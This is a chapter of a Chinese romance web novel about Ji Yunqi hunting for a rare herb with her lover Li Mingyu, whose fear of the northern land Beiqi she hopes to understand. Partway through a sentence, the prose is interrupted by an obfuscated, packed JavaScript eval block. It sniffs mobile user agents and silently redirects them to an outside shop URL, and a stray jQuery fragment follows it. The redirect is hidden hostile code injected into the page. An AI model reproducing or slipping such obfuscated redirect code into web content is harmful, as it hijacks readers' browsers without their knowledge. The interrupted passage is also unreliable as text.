前些日子姬云绮写信去给颜见雪,问她关于心绪方面是否也有疾病一说。
姬云绮在信里写道,这是她一位朋友的症状,暗戳戳想要给李明玙遮掩一二。
结果这位不解风情的姐妹直接戳破,她笑话姬云绮这位朋友是她心上人吧。
姬云绮无语,于是她只当没瞧见这几个字,只仔细瞧起了关于李明玙病情的部分。
颜见雪写道,郁结一说大约便是心里堵着太多事,无处宣泄,持续内耗导致的。
姬云绮心想,这与金先生所言的解心结似乎大差不差了。
自从他们成为眷侣,李明玙不经意间露出的少年之气,这或许便是心态转变之初,得到了最缺乏的名为‘爱’的东西,便也不再执着宫里那些人对他是何心思了吧。
想到这里,她开心起来,如此一来便解决这一处难题了,她可以解他心结!
至于余下的情况,姬云绮往下继续看着书信。
颜见雪写道,剩下的许是严重缺乏安全感吧,人在受到过大刺激的心理创伤后会产生逃避,让姬云绮尝试破他心防,让他完全信任她,让他能顺从本心去依赖一人,然后了解他心里防着的东西。
最后颜见雪写道,这在他们那称之为心理学,但她不是主修这个,所以不甚专业,建议姬云绮自行摸索,毕竟如今他只对姬云绮产生信任,虽然有所保留。
姬云绮看完后撇了撇嘴,心里纳闷。
她也想了解呀,可李明玙似乎对那些过往极其躲避,半点不想要回忆。
揭人伤疤,罪大恶极,她不敢去逼他。
可她也觉得李明玙如今对她确实明显依赖,但他似乎顾虑着何事,总有些保留。
姬云绮无奈地叹了叹气。
最后颜见雪写道,帮姬云绮解了这个题,要拿个回报。
那便是帮她去找一些叫双子草的稀有药草,京城名贵药堂多,许是能找着。
姬云绮无语:真是个假姐妹。
*
午食时间的鲜味斋热闹非凡。
姬云绮走过熙攘喧闹的一楼大堂,鼻间总有各色美味的香气传来,单单那香气便能让人食欲大增。
她走上二楼的雅间处,在竹字间门前敲了敲门,是她惯用的两密一疏敲门声。
然后里头传来一声如清泉一般悦耳的温吞男声:“进来吧。”
姬云绮关好门,然后蔫蔫地坐到李明玙身旁伏趴在桌面上。
李明玙瞧得好笑,问道:“这是寻找不到那双子草吗?”
姬云绮有气无力道:“太稀有了,问了许多有名些的药堂皆说许久未必见着一回这草,一旦有也很快被买走。”
李明玙想到了琼浆小院的那位老板娘,安慰她道:“一会吃过饭我陪你去琼浆小院处问问老板娘吧?她走南闯北的,许是有见过呢?”
姬云绮抬头瞧着李明玙,她倒是忘了这茬,但她感觉希望渺茫。
于是她沮丧地坐起来拱进李明玙的怀里平复自己被颜见雪伤害的小心灵。
心想等颜见雪做出这药,不管是何作用的药也要抢走一份!
李明玙见她这般惨兮兮的模样,莫名觉着有些可爱。
他抬手抚着姬云绮的头发再次安慰她:“别伤心了,难得再来这鲜味斋享用午饭,开心点呀,瞧瞧那不曾见过的菜色,你不是最爱美食吗?”
一想到美食,姬云绮倒是又恢复一点高兴地情绪。
随即想起上回来这里的情形,不禁幽怨道:“也是,这次总算没有讨厌鬼打搅我们享受二人食。”
然后姬云绮在他胸膛蹭了半响才抬头去看食单,好奇道:“这三明治又是何物?”
李明玙也有些好奇:“我也不知,只是瞧着这画像似乎挺可口,我就点了一份给你尝尝看。”
他上回见姬云绮挺爱吃那沙拉,见这三明治似乎与它有一点莫名的相似,里面有新鲜番茄与蔬菜还有沙拉,便给她点来一份。
不多时小二就敲了敲门,送来的菜是上回没细心品尝到的松鼠鳜鱼,以及一些甜口的菜品。
然后还有那份三明治。
两人凑一起去观察那三明治,是三层似块状包子的东西夹着一些煎蛋饼以及一些鲜番茄和蔬菜,还有一些薄薄的烤肉,每层还有一些沙拉酱拌着,小二很是贴心地给切成两半。
小二解说这是从西洋学来的做法。
姬云绮好奇它的味道,于是拿起来咬一口,然后眸子亮亮的:“好吃唉!哥哥你尝尝,较为清淡又可口。”
李明玙正专注瞧着她脸上从好奇到惊喜的神情,可爱极了,心里觉得很是满足,于是他眉目弯弯应道:“好的。”
今日总算有个好心请去食用那松鼠鳜鱼,那鱼皮脆柔嫩,酱汁酸甜可口,不容易腻。
上回被打搅到,李明玙没怎么食用到,这会姬云绮率先给他夹上了一块鱼肚,最为鲜嫩的一块肉。
然后观察他食用,想瞧瞧他是否会喜欢。
李明玙喜甜,他确实很喜欢这道菜。
不过,美人的食相总是慢条斯理的,不似姬云绮,她从军时总是时间紧迫,习惯食用东西时较为快速。
此时李明玙唇角沾有一点甜酱,衬得他这形状好看的唇晶莹滋润,还似乎有点甜。
姬云绮瞧着瞧着又起了坏心思,这几日李明玙对她更为纵容,她忍不住得寸进尺了。
于是待到李明玙终于把鱼肉咽下时,她迅速伸脑袋凑过去,如蜻蜓点水般轻触他的唇。
如她所想,很柔软滋润呢,哥哥的唇果然很好亲!
然后她快速坐直笑嘻嘻地瞧着发愣的李明玙:“哥哥的唇是甜的。”
这会李明玙终于回过神,这才发觉姬云绮对他做了何事,顿时脸颊爆红,瞪着不可置信的眸子:“鹘鹘?你,你怎的如此忽然......”
他羞得磕磕巴巴说不下去了,然后抿着唇低头胡乱吃着饭。
姬云绮看呆了,虽说两人都是初尝情爱,可是李明玙明显比她还不习惯。
他这般害羞的模样,很有一番不同滋味,这样的竹马哥哥她每回窥见都觉得稀奇极了。
又觉得他似被登徒子调戏的单纯少年,顿时又哈哈笑起来。
李明玙被她笑得头都快埋进碗里了。
*
姬云绮嬉嬉闹闹地用完一顿午饭,然后牵着李明玙如散步一般悠哉来到琼浆小院。
冬日的琼浆小院依旧来客稀少,但院子里因着北风呼啸较为寒冷,老板娘便在室内设了暖炉等待有缘的来客。
姬云绮一路雀跃走来,她方才亲到了肖想了许久的李明玙,因着双子草而郁闷的心情随之消失。
她牵着李明玙来到院子,拉了拉门边铜铃的绳子,门铃响起几声清脆的声音。
老板娘不多时便迎了出来,见是他两,便笑道:“哟,今日来得巧,最后一批莲子给你做奶茶呢。”
姬云绮欣喜道:“多谢老板娘。”
走入室内后,姬云绮让李明玙坐到靠近火炉边的位置上,自己挨着他坐下。
没过多久便见老板娘拿着奶茶来与他们闲谈。
姬云绮先问道:“老板娘你这些年去过的地方很多吧?可以见过双子草?”
老板娘闻言思考了半响方答道:“早些年倒是见过,南楚不多见,它生于严寒高山之地,西域几国似乎皆有出现,再就是北岐的北部了,只不过数量皆少。”
姬云绮没想到这破草还如此挑地方生长,有些惊讶:“北岐?”
挨着她坐一处的李明玙遂不及防听见姬云绮一声北岐,微不可查颤了下。
如此近的距离,姬云绮当然会察觉到的,但她假装没发现,过了一小会她假装不经意地抬手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133973|150004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
握住他的手。
然后姬云绮有些郁闷道:“这我如何去找。”
老板娘似乎想起什么线索,欣喜给她提建议:“不过我记得城里有一家北方人开的药堂,寻常很少人光顾,许是不似寻常药堂卖常见药的?你要不去问问看?”
姬云绮想起她注意过两次的那家异域风情装潢的药堂,问道:“可是城东那家?”
见老板娘点了点头,姬云绮便打算一会便去。
这次小院一叙,姬云绮与老板娘更熟络了点。
她得知老板娘名唤许菱,往后便唤她菱姐姐。
她还得知她近些年去北岐比较多,因为北岐地域贫瘠,运过去的货物很好卖。
姬云绮心里盘算着往后有关北方不了解之事许是可以来请教她。
*
接近黄昏的城东开始往夜间的寒冷转变,行人已然稀少。
姬云绮与李明玙站在那家北方药堂门外,此药堂并无牌匾题字,门口的异样装潢便是它的招牌。
观察了一会,她抬手牵住李明玙那冰冷地手掌:“咦,哥哥你冷吗?”
只见李明玙又些许怔愣,轻声道:“许是,太阳下山有些凉吧,不碍事。”
“我给你捂捂!”姬云绮笑嘻嘻地收紧了手掌,然后牵着他往药堂走去。
药堂的掌柜是一位很高大的男人,长相不似纯血中原人。
一见他们进来便热情问道:“两位可是有何药材需要买?”
不知是不是错觉,姬云绮总觉得那掌柜有意无意地往李明玙那瞧了几眼,但观这掌柜脸上就是一副寻常商人的热情模样,不似歹人。
于是她心里只稍稍疑惑了一下便没有深究:“你这可有双子草?”
掌柜一脸可惜:“这草太少见,何况不长于南楚。”
姬云绮一脸郁闷,果然也没有呢。
可随后便听掌柜道:“不过,隔壁那条街后日有个拍卖会,你或许可以去碰碰运气?主办方是一个常远行的商队,总会挑出一些稀奇的货物拍卖。”
姬云绮不解道:“拍卖会?”
她只见过专供高门贵人们的珍物拍卖,没想到商队也如此玩。
那掌柜出奇地热情,还给了她一张传单:“我这正巧收到他们发的报单,姑娘不妨拿去瞧瞧?”
姬云绮拿过那写着拍卖会消息的纸张,心里认命。
她无奈道:“那,多谢掌柜。”
她说完便蔫蔫地离开。
待出门一会后姬云绮才发觉李明玙似乎一直很安静,似个人形跟宠般无声无息跟着她。
她疑惑地抬眸望他一眼。
他似乎脸色有些微发白,眼神迷离。
姬云绮一愣,他这是不舒服?
她忙问道:“哥哥你怎么了?不舒服吗?可是冻着了?你似乎好一会没作声了。”
李明玙这才回过神,微笑着安抚她:“我没事,只是......”
他顿了顿,似乎犹豫着什么,然后才道:“只是瞧见药堂里头,想起北岐了,一时有些入神,让你担心了。”
姬云绮猜测他怕是还有心理阴影,尝试用自己的情绪感染他。
于是她笑嘻嘻道:“你往后又不会再去那鬼地方,不如多想想去南疆后想做什么事呢!”
他果然被转移了注意力,一扫恍惚之色,笑着轻声道:“是呀,往后我只会在南疆,在鹘鹘的家里。”
姬云绮见他恢复,便笑话他:“是的,哥哥是我金屋藏娇的宝物。”
李明玙被她这挑逗的话又弄得脸红起来,笑骂她:“你怎的越发似那登徒子呢。”
姬云绮只笑着牵他回府去。
她面上开怀,心里却想起颜见雪所言。
需要破他心防探寻他怕的究竟是何物,她感觉有些难度。
但没关系,她有耐心。